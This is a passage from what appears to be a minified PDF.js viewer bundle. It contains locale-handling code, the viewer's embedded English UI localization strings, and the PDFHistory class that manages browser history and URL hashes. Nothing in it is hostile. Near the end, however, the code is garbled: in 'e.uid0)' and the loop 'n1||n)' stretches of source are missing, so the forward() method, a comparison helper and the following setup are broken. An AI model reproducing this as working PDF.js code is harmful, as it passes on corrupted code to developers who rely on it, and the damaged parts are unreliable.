0:e.toLowerCase())||"en-us",{en:"en-us",es:"es-es",fy:"fy-nl",ga:"ga-ie",gu:"gu-in",hi:"hi-in",hy:"hy-am",nb:"nb-no",ne:"ne-np",nn:"nn-no",pa:"pa-in",pt:"pt-pt",sv:"sv-se",zh:"zh-cn"}[e]||e},Bw=function(e){const t=e.split("-",1)[0];return["ar","he","fa","ps","ur"].includes(t)},b(wd,Lc);let I0=wd;function TP(){const{isAndroid:h,isLinux:e,isMac:t,isWindows:n}=mw.platform;return e?"linux":n?"windows":t?"macos":h?"android":"other"}function F1(h,e){const t=new lP(e),n=new XT(h,{functions:{PLATFORM:TP}}),r=n.addResource(t);return r.length&&console.error("L10n errors",r),n}var Zn,kw,jw,Uw,$w,R0;const xo=class xo extends I0{constructor(e){super({lang:e});const t=e?A(xo,Zn,kw).bind(xo,"en-us",this.getLanguage()):A(xo,Zn,$w).bind(xo,this.getLanguage());this._setL10n(new CP([],t))}};Zn=new WeakSet,kw=async function*(e,t){const{baseURL:n,paths:r}=await A(this,Zn,Uw).call(this),i=[t];if(e!==t){const o=t.split("-",1)[0];o!==t&&i.push(o),i.push(e)}const s=i.map(o=>[o,A(this,Zn,jw).call(this,o,n,r)]);for(const[o,l]of s){const u=await l;u?yield u:o==="en-us"&&(yield A(this,Zn,R0).call(this,o))}},jw=async function(e,t,n){const r=n[e];if(!r)return null;const i=new URL(r,t),s=await i1(i,"text");return F1(e,s)},Uw=async function(){try{const{href:e}=document.querySelector('link[type="application/l10n"]'),t=await i1(e,"json");return{baseURL:e.substring(0,e.lastIndexOf("/")+1)||"./",paths:t}}catch{}return{baseURL:"./",paths:Object.create(null)}},$w=async function*(e){yield A(this,Zn,R0).call(this,e)},R0=async function(e){return F1(e,`pdfjs-previous-button = + .title = Previous Page +pdfjs-previous-button-label = Previous +pdfjs-next-button = + .title = Next Page +pdfjs-next-button-label = Next +pdfjs-page-input = + .title = Page +pdfjs-of-pages = of { $pagesCount } +pdfjs-page-of-pages = ({ $pageNumber } of { $pagesCount }) +pdfjs-zoom-out-button = + .title = Zoom Out +pdfjs-zoom-out-button-label = Zoom Out +pdfjs-zoom-in-button = + .title = Zoom In +pdfjs-zoom-in-button-label = Zoom In +pdfjs-zoom-select = + .title = Zoom +pdfjs-presentation-mode-button = + .title = Switch to Presentation Mode +pdfjs-presentation-mode-button-label = Presentation Mode +pdfjs-open-file-button = + .title = Open File +pdfjs-open-file-button-label = Open +pdfjs-print-button = + .title = Print +pdfjs-print-button-label = Print +pdfjs-save-button = + .title = Save +pdfjs-save-button-label = Save +pdfjs-download-button = + .title = Download +pdfjs-download-button-label = Download +pdfjs-bookmark-button = + .title = Current Page (View URL from Current Page) +pdfjs-bookmark-button-label = Current Page +pdfjs-tools-button = + .title = Tools +pdfjs-tools-button-label = Tools +pdfjs-first-page-button = + .title = Go to First Page +pdfjs-first-page-button-label = Go to First Page +pdfjs-last-page-button = + .title = Go to Last Page +pdfjs-last-page-button-label = Go to Last Page +pdfjs-page-rotate-cw-button = + .title = Rotate Clockwise +pdfjs-page-rotate-cw-button-label = Rotate Clockwise +pdfjs-page-rotate-ccw-button = + .title = Rotate Counterclockwise +pdfjs-page-rotate-ccw-button-label = Rotate Counterclockwise +pdfjs-cursor-text-select-tool-button = + .title = Enable Text Selection Tool +pdfjs-cursor-text-select-tool-button-label = Text Selection Tool +pdfjs-cursor-hand-tool-button = + .title = Enable Hand Tool +pdfjs-cursor-hand-tool-button-label = Hand Tool +pdfjs-scroll-page-button = + .title = Use Page Scrolling +pdfjs-scroll-page-button-label = Page Scrolling +pdfjs-scroll-vertical-button = + .title = Use Vertical Scrolling +pdfjs-scroll-vertical-button-label = Vertical Scrolling +pdfjs-scroll-horizontal-button = + .title = Use Horizontal Scrolling +pdfjs-scroll-horizontal-button-label = Horizontal Scrolling +pdfjs-scroll-wrapped-button = + .title = Use Wrapped Scrolling +pdfjs-scroll-wrapped-button-label = Wrapped Scrolling +pdfjs-spread-none-button = + .title = Do not join page spreads +pdfjs-spread-none-button-label = No Spreads +pdfjs-spread-odd-button = + .title = Join page spreads starting with odd-numbered pages +pdfjs-spread-odd-button-label = Odd Spreads +pdfjs-spread-even-button = + .title = Join page spreads starting with even-numbered pages +pdfjs-spread-even-button-label = Even Spreads +pdfjs-document-properties-button = + .title = Document Properties… +pdfjs-document-properties-button-label = Document Properties… +pdfjs-document-properties-file-name = File name: +pdfjs-document-properties-file-size = File size: +pdfjs-document-properties-size-kb = { NUMBER($kb, maximumSignificantDigits: 3) } KB ({ $b } bytes) +pdfjs-document-properties-size-mb = { NUMBER($mb, maximumSignificantDigits: 3) } MB ({ $b } bytes) +pdfjs-document-properties-title = Title: +pdfjs-document-properties-author = Author: +pdfjs-document-properties-subject = Subject: +pdfjs-document-properties-keywords = Keywords: +pdfjs-document-properties-creation-date = Creation Date: +pdfjs-document-properties-modification-date = Modification Date: +pdfjs-document-properties-date-time-string = { DATETIME($dateObj, dateStyle: "short", timeStyle: "medium") } +pdfjs-document-properties-creator = Creator: +pdfjs-document-properties-producer = PDF Producer: +pdfjs-document-properties-version = PDF Version: +pdfjs-document-properties-page-count = Page Count: +pdfjs-document-properties-page-size = Page Size: +pdfjs-document-properties-page-size-unit-inches = in +pdfjs-document-properties-page-size-unit-millimeters = mm +pdfjs-document-properties-page-size-orientation-portrait = portrait +pdfjs-document-properties-page-size-orientation-landscape = landscape +pdfjs-document-properties-page-size-name-a-three = A3 +pdfjs-document-properties-page-size-name-a-four = A4 +pdfjs-document-properties-page-size-name-letter = Letter +pdfjs-document-properties-page-size-name-legal = Legal +pdfjs-document-properties-page-size-dimension-string = { $width } × { $height } { $unit } ({ $orientation }) +pdfjs-document-properties-page-size-dimension-name-string = { $width } × { $height } { $unit } ({ $name }, { $orientation }) +pdfjs-document-properties-linearized = Fast Web View: +pdfjs-document-properties-linearized-yes = Yes +pdfjs-document-properties-linearized-no = No +pdfjs-document-properties-close-button = Close +pdfjs-print-progress-message = Preparing document for printing… +pdfjs-print-progress-percent = { $progress }% +pdfjs-print-progress-close-button = Cancel +pdfjs-printing-not-supported = Warning: Printing is not fully supported by this browser. +pdfjs-printing-not-ready = Warning: The PDF is not fully loaded for printing. +pdfjs-current-outline-item-button = + .title = Find Current Outline Item +pdfjs-current-outline-item-button-label = Current Outline Item +pdfjs-findbar-button = + .title = Find in Document +pdfjs-findbar-button-label = Find +pdfjs-additional-layers = Additional Layers +pdfjs-thumb-page-title1 = + .title = Page { $page } of { $total } +pdfjs-thumb-page-canvas = + .aria-label = Thumbnail of Page { $page } +pdfjs-thumb-page-checkbox1 = + .title = Select page { $page } +pdfjs-find-input = + .title = Find + .placeholder = Find in document… +pdfjs-find-previous-button = + .title = Find the previous occurrence of the phrase +pdfjs-find-previous-button-label = Previous +pdfjs-find-next-button = + .title = Find the next occurrence of the phrase +pdfjs-find-next-button-label = Next +pdfjs-find-highlight-checkbox = Highlight All +pdfjs-find-match-case-checkbox-label = Match Case +pdfjs-find-match-diacritics-checkbox-label = Match Diacritics +pdfjs-find-entire-word-checkbox-label = Whole Words +pdfjs-find-reached-top = Reached top of document, continued from bottom +pdfjs-find-reached-bottom = Reached end of document, continued from top +pdfjs-find-match-count = + { $total -> + [one] { $current } of { $total } match + *[other] { $current } of { $total } matches + } +pdfjs-find-match-count-limit = + { $limit -> + [one] More than { $limit } match + *[other] More than { $limit } matches + } +pdfjs-find-not-found = Phrase not found +pdfjs-page-scale-width = Page Width +pdfjs-page-scale-fit = Page Fit +pdfjs-page-scale-auto = Automatic Zoom +pdfjs-page-scale-actual = Actual Size +pdfjs-page-scale-percent = { $scale }% +pdfjs-page-landmark = + .aria-label = Page { $page } +pdfjs-loading-error = An error occurred while loading the PDF. +pdfjs-invalid-file-error = Invalid or corrupted PDF file. +pdfjs-missing-file-error = Missing PDF file. +pdfjs-unexpected-response-error = Unexpected server response. +pdfjs-rendering-error = An error occurred while rendering the page. +pdfjs-annotation-date-time-string = { DATETIME($dateObj, dateStyle: "short", timeStyle: "medium") } +pdfjs-text-annotation-type = + .alt = [{ $type } Annotation] +pdfjs-password-label = Enter the password to open this PDF file. +pdfjs-password-invalid = Invalid password. Please try again. +pdfjs-password-ok-button = OK +pdfjs-password-cancel-button = Cancel +pdfjs-web-fonts-disabled = Web fonts are disabled: unable to use embedded PDF fonts. +pdfjs-editor-free-text-button = + .title = Text +pdfjs-editor-color-picker-free-text-input = + .title = Change text color +pdfjs-editor-free-text-button-label = Text +pdfjs-editor-ink-button = + .title = Draw +pdfjs-editor-color-picker-ink-input = + .title = Change drawing color +pdfjs-editor-ink-button-label = Draw +pdfjs-editor-stamp-button = + .title = Add or edit images +pdfjs-editor-stamp-button-label = Add or edit images +pdfjs-editor-highlight-button = + .title = Highlight +pdfjs-editor-highlight-button-label = Highlight +pdfjs-highlight-floating-button1 = + .title = Highlight + .aria-label = Highlight +pdfjs-highlight-floating-button-label = Highlight +pdfjs-comment-floating-button = + .title = Comment + .aria-label = Comment +pdfjs-comment-floating-button-label = Comment +pdfjs-editor-comment-button = + .title = Comment + .aria-label = Comment +pdfjs-editor-comment-button-label = Comment +pdfjs-editor-signature-button = + .title = Add signature +pdfjs-editor-signature-button-label = Add signature +pdfjs-editor-highlight-editor = + .aria-label = Highlight editor +pdfjs-editor-ink-editor = + .aria-label = Drawing editor +pdfjs-editor-signature-editor1 = + .aria-description = Signature editor: { $description } +pdfjs-editor-stamp-editor = + .aria-label = Image editor +pdfjs-editor-remove-ink-button = + .title = Remove drawing +pdfjs-editor-remove-freetext-button = + .title = Remove text +pdfjs-editor-remove-stamp-button = + .title = Remove image +pdfjs-editor-remove-highlight-button = + .title = Remove highlight +pdfjs-editor-remove-signature-button = + .title = Remove signature +pdfjs-editor-free-text-color-input = Color +pdfjs-editor-free-text-size-input = Size +pdfjs-editor-ink-color-input = Color +pdfjs-editor-ink-thickness-input = Thickness +pdfjs-editor-ink-opacity-input = Opacity +pdfjs-editor-stamp-add-image-button = + .title = Add image +pdfjs-editor-stamp-add-image-button-label = Add image +pdfjs-editor-free-highlight-thickness-input = Thickness +pdfjs-editor-free-highlight-thickness-title = + .title = Change thickness when highlighting items other than text +pdfjs-editor-add-signature-container = + .aria-label = Signature controls and saved signatures +pdfjs-editor-signature-add-signature-button = + .title = Add new signature +pdfjs-editor-signature-add-signature-button-label = Add new signature +pdfjs-editor-add-saved-signature-button = + .title = Saved signature: { $description } +pdfjs-free-text2 = + .aria-label = Text Editor + .default-content = Start typing… +pdfjs-editor-comments-sidebar-title = + { $count -> + [one] Comment + *[other] Comments + } +pdfjs-editor-comments-sidebar-close-button = + .title = Close the sidebar + .aria-label = Close the sidebar +pdfjs-editor-comments-sidebar-close-button-label = Close the sidebar +pdfjs-editor-comments-sidebar-no-comments1 = See something noteworthy? Highlight it and leave a comment. +pdfjs-editor-comments-sidebar-no-comments-link = Learn more +pdfjs-editor-alt-text-button = + .aria-label = Alt text +pdfjs-editor-alt-text-button-label = Alt text +pdfjs-editor-alt-text-edit-button = + .aria-label = Edit alt text +pdfjs-editor-alt-text-dialog-label = Choose an option +pdfjs-editor-alt-text-dialog-description = Alt text (alternative text) helps when people can’t see the image or when it doesn’t load. +pdfjs-editor-alt-text-add-description-label = Add a description +pdfjs-editor-alt-text-add-description-description = Aim for 1-2 sentences that describe the subject, setting, or actions. +pdfjs-editor-alt-text-mark-decorative-label = Mark as decorative +pdfjs-editor-alt-text-mark-decorative-description = This is used for ornamental images, like borders or watermarks. +pdfjs-editor-alt-text-cancel-button = Cancel +pdfjs-editor-alt-text-save-button = Save +pdfjs-editor-alt-text-decorative-tooltip = Marked as decorative +pdfjs-editor-alt-text-textarea = + .placeholder = For example, “A young man sits down at a table to eat a meal” +pdfjs-editor-resizer-top-left = + .aria-label = Top left corner — resize +pdfjs-editor-resizer-top-middle = + .aria-label = Top middle — resize +pdfjs-editor-resizer-top-right = + .aria-label = Top right corner — resize +pdfjs-editor-resizer-middle-right = + .aria-label = Middle right — resize +pdfjs-editor-resizer-bottom-right = + .aria-label = Bottom right corner — resize +pdfjs-editor-resizer-bottom-middle = + .aria-label = Bottom middle — resize +pdfjs-editor-resizer-bottom-left = + .aria-label = Bottom left corner — resize +pdfjs-editor-resizer-middle-left = + .aria-label = Middle left — resize +pdfjs-editor-highlight-colorpicker-label = Highlight color +pdfjs-editor-colorpicker-button = + .title = Change color +pdfjs-editor-colorpicker-dropdown = + .aria-label = Color choices +pdfjs-editor-colorpicker-yellow = + .title = Yellow +pdfjs-editor-colorpicker-green = + .title = Green +pdfjs-editor-colorpicker-blue = + .title = Blue +pdfjs-editor-colorpicker-pink = + .title = Pink +pdfjs-editor-colorpicker-red = + .title = Red +pdfjs-editor-highlight-show-all-button-label = Show all +pdfjs-editor-highlight-show-all-button = + .title = Show all +pdfjs-editor-new-alt-text-dialog-edit-label = Edit alt text (image description) +pdfjs-editor-new-alt-text-dialog-add-label = Add alt text (image description) +pdfjs-editor-new-alt-text-textarea = + .placeholder = Write your description here… +pdfjs-editor-new-alt-text-description = Short description for people who can’t see the image or when the image doesn’t load. +pdfjs-editor-new-alt-text-disclaimer1 = This alt text was created automatically and may be inaccurate. +pdfjs-editor-new-alt-text-disclaimer-learn-more-url = Learn more +pdfjs-editor-new-alt-text-create-automatically-button-label = Create alt text automatically +pdfjs-editor-new-alt-text-not-now-button = Not now +pdfjs-editor-new-alt-text-error-title = Couldn’t create alt text automatically +pdfjs-editor-new-alt-text-error-description = Please write your own alt text or try again later. +pdfjs-editor-new-alt-text-error-close-button = Close +pdfjs-editor-new-alt-text-ai-model-downloading-progress = Downloading alt text AI model ({ $downloadedSize } of { $totalSize } MB) + .aria-valuetext = Downloading alt text AI model ({ $downloadedSize } of { $totalSize } MB) +pdfjs-editor-new-alt-text-added-button = + .aria-label = Alt text added +pdfjs-editor-new-alt-text-added-button-label = Alt text added +pdfjs-editor-new-alt-text-missing-button = + .aria-label = Missing alt text +pdfjs-editor-new-alt-text-missing-button-label = Missing alt text +pdfjs-editor-new-alt-text-to-review-button = + .aria-label = Review alt text +pdfjs-editor-new-alt-text-to-review-button-label = Review alt text +pdfjs-editor-new-alt-text-generated-alt-text-with-disclaimer = Created automatically: { $generatedAltText } +pdfjs-image-alt-text-settings-button = + .title = Image alt text settings +pdfjs-image-alt-text-settings-button-label = Image alt text settings +pdfjs-editor-alt-text-settings-dialog-label = Image alt text settings +pdfjs-editor-alt-text-settings-automatic-title = Automatic alt text +pdfjs-editor-alt-text-settings-create-model-button-label = Create alt text automatically +pdfjs-editor-alt-text-settings-create-model-description = Suggests descriptions to help people who can’t see the image or when the image doesn’t load. +pdfjs-editor-alt-text-settings-editor-title = Alt text editor +pdfjs-editor-alt-text-settings-show-dialog-button-label = Show alt text editor right away when adding an image +pdfjs-editor-alt-text-settings-show-dialog-description = Helps you make sure all your images have alt text. +pdfjs-editor-alt-text-settings-close-button = Close +pdfjs-editor-highlight-added-alert = Highlight added +pdfjs-editor-freetext-added-alert = Text added +pdfjs-editor-ink-added-alert = Drawing added +pdfjs-editor-stamp-added-alert = Image added +pdfjs-editor-signature-added-alert = Signature added +pdfjs-editor-undo-bar-message-highlight = Highlight removed +pdfjs-editor-undo-bar-message-freetext = Text removed +pdfjs-editor-undo-bar-message-ink = Drawing removed +pdfjs-editor-undo-bar-message-stamp = Image removed +pdfjs-editor-undo-bar-message-signature = Signature removed +pdfjs-editor-undo-bar-message-comment = Comment removed +pdfjs-editor-undo-bar-message-multiple = + { $count -> + [one] { $count } annotation removed + *[other] { $count } annotations removed + } +pdfjs-editor-undo-bar-undo-button = + .title = Undo +pdfjs-editor-undo-bar-undo-button-label = Undo +pdfjs-editor-undo-bar-close-button = + .title = Close +pdfjs-editor-undo-bar-close-button-label = Close +pdfjs-editor-add-signature-dialog-label = This modal allows the user to create a signature to add to a PDF document. The user can edit the name (which also serves as the alt text), and optionally save the signature for repeated use. +pdfjs-editor-add-signature-dialog-title = Add a signature +pdfjs-editor-add-signature-type-button = Type + .title = Type +pdfjs-editor-add-signature-draw-button = Draw + .title = Draw +pdfjs-editor-add-signature-image-button = Image + .title = Image +pdfjs-editor-add-signature-type-input = + .aria-label = Type your signature + .placeholder = Type your signature +pdfjs-editor-add-signature-draw-placeholder = Draw your signature +pdfjs-editor-add-signature-draw-thickness-range-label = Thickness +pdfjs-editor-add-signature-draw-thickness-range = + .title = Drawing thickness: { $thickness } +pdfjs-editor-add-signature-image-placeholder = Drag a file here to upload +pdfjs-editor-add-signature-image-browse-link = + { PLATFORM() -> + [macos] Or choose image files + *[other] Or browse image files + } +pdfjs-editor-add-signature-description-label = Description (alt text) +pdfjs-editor-add-signature-description-input = + .title = Description (alt text) +pdfjs-editor-add-signature-description-default-when-drawing = Signature +pdfjs-editor-add-signature-clear-button-label = Clear signature +pdfjs-editor-add-signature-clear-button = + .title = Clear signature +pdfjs-editor-add-signature-save-checkbox = Save signature +pdfjs-editor-add-signature-save-warning-message = You’ve reached the limit of 5 saved signatures. Remove one to save more. +pdfjs-editor-add-signature-image-upload-error-title = Couldn’t upload image +pdfjs-editor-add-signature-image-upload-error-description = Check your network connection or try another image. +pdfjs-editor-add-signature-image-no-data-error-title = Can’t convert this image into a signature +pdfjs-editor-add-signature-image-no-data-error-description = Please try uploading a different image. +pdfjs-editor-add-signature-error-close-button = Close +pdfjs-editor-add-signature-cancel-button = Cancel +pdfjs-editor-add-signature-add-button = Add +pdfjs-editor-delete-signature-button1 = + .title = Remove saved signature +pdfjs-editor-delete-signature-button-label1 = Remove saved signature +pdfjs-editor-add-signature-edit-button-label = Edit description +pdfjs-editor-edit-signature-dialog-title = Edit description +pdfjs-editor-edit-signature-update-button = Update +pdfjs-show-comment-button = + .title = Show comment +pdfjs-editor-edit-comment-popup-button-label = Edit comment +pdfjs-editor-edit-comment-popup-button = + .title = Edit comment +pdfjs-editor-delete-comment-popup-button-label = Remove comment +pdfjs-editor-delete-comment-popup-button = + .title = Remove comment +pdfjs-editor-edit-comment-dialog-title-when-editing = Edit comment +pdfjs-editor-edit-comment-dialog-save-button-when-editing = Update +pdfjs-editor-edit-comment-dialog-title-when-adding = Add comment +pdfjs-editor-edit-comment-dialog-save-button-when-adding = Add +pdfjs-editor-edit-comment-dialog-text-input = + .placeholder = Start typing… +pdfjs-editor-edit-comment-dialog-cancel-button = Cancel +pdfjs-editor-add-comment-button = + .title = Add comment +pdfjs-toggle-views-manager-button1 = + .title = Manage pages +pdfjs-toggle-views-manager-notification-button = + .title = Toggle Sidebar (document contains thumbnails/outline/attachments/layers) +pdfjs-toggle-views-manager-button1-label = Manage pages +pdfjs-views-manager-sidebar = + .aria-label = Sidebar +pdfjs-views-manager-sidebar-resizer = + .aria-label = Sidebar resizer +pdfjs-views-manager-view-selector-button = + .title = Views +pdfjs-views-manager-view-selector-button-label = Views +pdfjs-views-manager-pages-title = Pages +pdfjs-views-manager-outlines-title1 = Document outline + .title = Document outline (double-click to expand/collapse all items) +pdfjs-views-manager-attachments-title = Attachments +pdfjs-views-manager-layers-title1 = Layers + .title = Layers (double-click to reset all layers to the default state) +pdfjs-views-manager-pages-option-label = Pages +pdfjs-views-manager-outlines-option-label = Document outline +pdfjs-views-manager-attachments-option-label = Attachments +pdfjs-views-manager-layers-option-label = Layers +pdfjs-views-manager-add-file-button = + .title = Add file +pdfjs-views-manager-add-file-button-label = Add file +pdfjs-views-manager-pages-status-action-label = + { $count -> + [one] { $count } selected + *[other] { $count } selected + } +pdfjs-views-manager-pages-status-none-action-label = Select pages +pdfjs-views-manager-pages-status-action-button-label = Manage +pdfjs-views-manager-pages-status-copy-button-label = Copy +pdfjs-views-manager-pages-status-cut-button-label = Cut +pdfjs-views-manager-pages-status-delete-button-label = Delete +pdfjs-views-manager-pages-status-export-selected-button-label = Export selected… +pdfjs-views-manager-status-undo-cut-label = + { $count -> + [one] 1 page cut + *[other] { $count } pages cut + } +pdfjs-views-manager-pages-status-undo-copy-label = + { $count -> + [one] 1 page copied + *[other] { $count } pages copied + } +pdfjs-views-manager-pages-status-undo-delete-label = + { $count -> + [one] 1 page deleted + *[other] { $count } pages deleted + } +pdfjs-views-manager-pages-status-waiting-ready-label = Getting your file ready… +pdfjs-views-manager-pages-status-waiting-uploading-label = Uploading file… +pdfjs-views-manager-status-warning-cut-label = Couldn’t cut. Refresh page and try again. +pdfjs-views-manager-status-warning-copy-label = Couldn’t copy. Refresh page and try again. +pdfjs-views-manager-status-warning-delete-label = Couldn’t delete. Refresh page and try again. +pdfjs-views-manager-status-warning-save-label = Couldn’t save. Refresh page and try again. +pdfjs-views-manager-status-undo-button-label = Undo +pdfjs-views-manager-status-done-button-label = Done +pdfjs-views-manager-status-close-button = + .title = Close +pdfjs-views-manager-status-close-button-label = Close +pdfjs-views-manager-paste-button-label = Paste +pdfjs-views-manager-paste-button-before = + .title = Paste before the first page +pdfjs-views-manager-paste-button-after = + .title = Paste after page { $page } +pdfjs-new-badge-content = NEW +pdfjs-views-manager-waiting-for-file = Uploading file…`)},b(xo,Zn);let Oc=xo;const PP=1e3,IP=50,RP=1e3;function kv(){return document.location.hash}var Ya,mt,Fi,um,cm,fd,dm,F0,Hw,Vw,D0,Ww,zw;class FP{constructor({linkService:e,eventBus:t}){b(this,mt);b(this,Ya,null);this.linkService=e,this.eventBus=t,this._initialized=!1,this._fingerprint="",this.reset(),this.eventBus._on("pagesinit",()=>{this._isPagesLoaded=!1,this.eventBus._on("pagesloaded",n=>{this._isPagesLoaded=!!n.pagesCount},{once:!0})})}initialize({fingerprint:e,resetHistory:t=!1,updateUrl:n=!1}){if(!e||typeof e!="string"){console.error('PDFHistory.initialize: The "fingerprint" must be a non-empty string.');return}this._initialized&&this.reset();const r=this._fingerprint!==""&&this._fingerprint!==e;this._fingerprint=e,this._updateUrl=n===!0,this._initialized=!0,A(this,mt,Ww).call(this);const i=window.history.state;if(this._popStateInProgress=!1,this._blockHashChange=0,this._currentHash=kv(),this._numPositionUpdates=0,this._uid=this._maxUid=0,this._destination=null,this._position=null,!A(this,mt,fd).call(this,i,!0)||t){const{hash:o,page:l,rotation:u}=A(this,mt,F0).call(this,!0);if(!o||r||t){A(this,mt,Fi).call(this,null,!0);return}A(this,mt,Fi).call(this,{hash:o,page:l,rotation:u},!0);return}const s=i.destination;A(this,mt,dm).call(this,s,i.uid,!0),s.rotation!==void 0&&(this._initialRotation=s.rotation),s.dest?(this._initialBookmark=JSON.stringify(s.dest),this._destination.page=null):s.hash?this._initialBookmark=s.hash:s.page&&(this._initialBookmark=`page=${s.page}`)}reset(){this._initialized&&(A(this,mt,D0).call(this),this._initialized=!1,A(this,mt,zw).call(this)),this._updateViewareaTimeout&&(clearTimeout(this._updateViewareaTimeout),this._updateViewareaTimeout=null),this._initialBookmark=null,this._initialRotation=null}push({namedDest:e=null,explicitDest:t,pageNumber:n}){if(!this._initialized)return;if(e&&typeof e!="string"){console.error(`PDFHistory.push: "${e}" is not a valid namedDest parameter.`);return}else if(Array.isArray(t)){if(!A(this,mt,cm).call(this,n)&&(n!==null||this._destination)){console.error(`PDFHistory.push: "${n}" is not a valid pageNumber parameter.`);return}}else{console.error(`PDFHistory.push: "${t}" is not a valid explicitDest parameter.`);return}const r=e||JSON.stringify(t);if(!r)return;let i=!1;if(this._destination&&(DP(this._destination.hash,r)||OP(this._destination.dest,t))){if(this._destination.page)return;i=!0}this._popStateInProgress&&!i||(A(this,mt,Fi).call(this,{dest:t,hash:r,page:n,rotation:this.linkService.rotation},i),this._popStateInProgress||(this._popStateInProgress=!0,Promise.resolve().then(()=>{this._popStateInProgress=!1})))}pushPage(e){var t;if(this._initialized){if(!A(this,mt,cm).call(this,e)){console.error(`PDFHistory.pushPage: "${e}" is not a valid page number.`);return}((t=this._destination)==null?void 0:t.page)!==e&&(this._popStateInProgress||(A(this,mt,Fi).call(this,{dest:null,hash:`page=${e}`,page:e,rotation:this.linkService.rotation}),this._popStateInProgress||(this._popStateInProgress=!0,Promise.resolve().then(()=>{this._popStateInProgress=!1}))))}}pushCurrentPosition(){!this._initialized||this._popStateInProgress||A(this,mt,um).call(this)}back(){if(!this._initialized||this._popStateInProgress)return;const e=window.history.state;A(this,mt,fd).call(this,e)&&e.uid>0&&window.history.back()}forward(){if(!this._initialized||this._popStateInProgress)return;const e=window.history.state;A(this,mt,fd).call(this,e)&&e.uid0)}get initialBookmark(){return this._initialized?this._initialBookmark:null}get initialRotation(){return this._initialized?this._initialRotation:null}}Ya=new WeakMap,mt=new WeakSet,Fi=function(e,t=!1){const n=t||!this._destination,r={fingerprint:this._fingerprint,uid:n?this._uid:this._uid+1,destination:e};A(this,mt,dm).call(this,e,r.uid);let i;if(this._updateUrl&&(e!=null&&e.hash)){const{href:s,protocol:o}=document.location;o!=="file:"&&(i=JC(s,e.hash))}n?window.history.replaceState(r,"",i):window.history.pushState(r,"",i)},um=function(e=!1){if(!this._position)return;let t=this._position;if(e&&(t=Object.assign(Object.create(null),this._position),t.temporary=!0),!this._destination){A(this,mt,Fi).call(this,t);return}if(this._destination.temporary){A(this,mt,Fi).call(this,t,!0);return}if(this._destination.hash===t.hash||!this._destination.page&&this._numPositionUpdates<=IP)return;let n=!1;if(this._destination.page>=t.first&&this._destination.page<=t.page){if(this._destination.dest!==void 0||!this._destination.first)return;n=!0}A(this,mt,Fi).call(this,t,n)},cm=function(e){return Number.isInteger(e)&&e>0&&e<=this.linkService.pagesCount},fd=function(e,t=!1){if(!e)return!1;if(e.fingerprint!==this._fingerprint)if(t){if(typeof e.fingerprint!="string"||e.fingerprint.length!==this._fingerprint.length)return!1;const[n]=performance.getEntriesByType("navigation");if((n==null?void 0:n.type)!=="reload")return!1}else return!1;return!(!Number.isInteger(e.uid)||e.uid<0||e.destination===null||typeof e.destination!="object")},dm=function(e,t,n=!1){this._updateViewareaTimeout&&(clearTimeout(this._updateViewareaTimeout),this._updateViewareaTimeout=null),n&&(e!=null&&e.temporary)&&delete e.temporary,this._destination=e,this._uid=t,this._maxUid=Math.max(this._maxUid,t),this._numPositionUpdates=0},F0=function(e=!1){const t=unescape(kv()).substring(1),n=xv(t),r=n.get("nameddest")||"";let i=n.get("page")|0;return(!A(this,mt,cm).call(this,i)||e&&r.length>0)&&(i=null),{hash:t,page:i,rotation:this.linkService.rotation}},Hw=function({location:e}){this._updateViewareaTimeout&&(clearTimeout(this._updateViewareaTimeout),this._updateViewareaTimeout=null),this._position={hash:e.pdfOpenParams.substring(1),page:this.linkService.page,first:e.pageNumber,rotation:e.rotation},!this._popStateInProgress&&(this._isPagesLoaded&&this._destination&&!this._destination.page&&this._numPositionUpdates++,this._updateViewareaTimeout=setTimeout(()=>{this._popStateInProgress||A(this,mt,um).call(this,!0),this._updateViewareaTimeout=null},RP))},Vw=function({state:e}){const t=kv(),n=this._currentHash!==t;if(this._currentHash=t,!e){this._uid++;const{hash:i,page:s,rotation:o}=A(this,mt,F0).call(this);A(this,mt,Fi).call(this,{hash:i,page:s,rotation:o},!0);return}if(!A(this,mt,fd).call(this,e))return;this._popStateInProgress=!0,n&&(this._blockHashChange++,OT({target:window,name:"hashchange",delay:PP}).then(()=>{this._blockHashChange--}));const r=e.destination;A(this,mt,dm).call(this,r,e.uid,!0),bw(r.rotation)&&(this.linkService.rotation=r.rotation),r.dest?this.linkService.goToDestination(r.dest):r.hash?this.linkService.setHash(r.hash):r.page&&(this.linkService.page=r.page),Promise.resolve().then(()=>{this._popStateInProgress=!1})},D0=function(){(!this._destination||this._destination.temporary)&&A(this,mt,um).call(this)},Ww=function(){if(a(this,Ya))return;g(this,Ya,new AbortController);const{signal:e}=a(this,Ya);this.eventBus._on("updateviewarea",A(this,mt,Hw).bind(this),{signal:e}),window.addEventListener("popstate",A(this,mt,Vw).bind(this),{signal:e}),window.addEventListener("pagehide",A(this,mt,D0).bind(this),{signal:e})},zw=function(){var e;(e=a(this,Ya))==null||e.abort(),g(this,Ya,null)};function DP(h,e){return typeof h!="string"||typeof e!="string"?!1:h===e||xv(h).get("nameddest")===e}function OP(h,e){function t(n,r){if(typeof n!=typeof r||Array.isArray(n)||Array.isArray(r))return!1;if(n!==null&&typeof n=="object"&&r!==null){if(Object.keys(n).length!==Object.keys(r).length)return!1;for(const i in n)if(!t(n[i],r[i]))return!1;return!0}return n===r||Number.isNaN(n)&&Number.isNaN(r)}if(!(Array.isArray(h)&&Array.isArray(e))||h.length!==e.length)return!1;for(let n=0,r=h.length;n1||n)&&O0.set("maxCanvasPixels",5242880),n&&O0.set("useSystemFonts",!1)}const 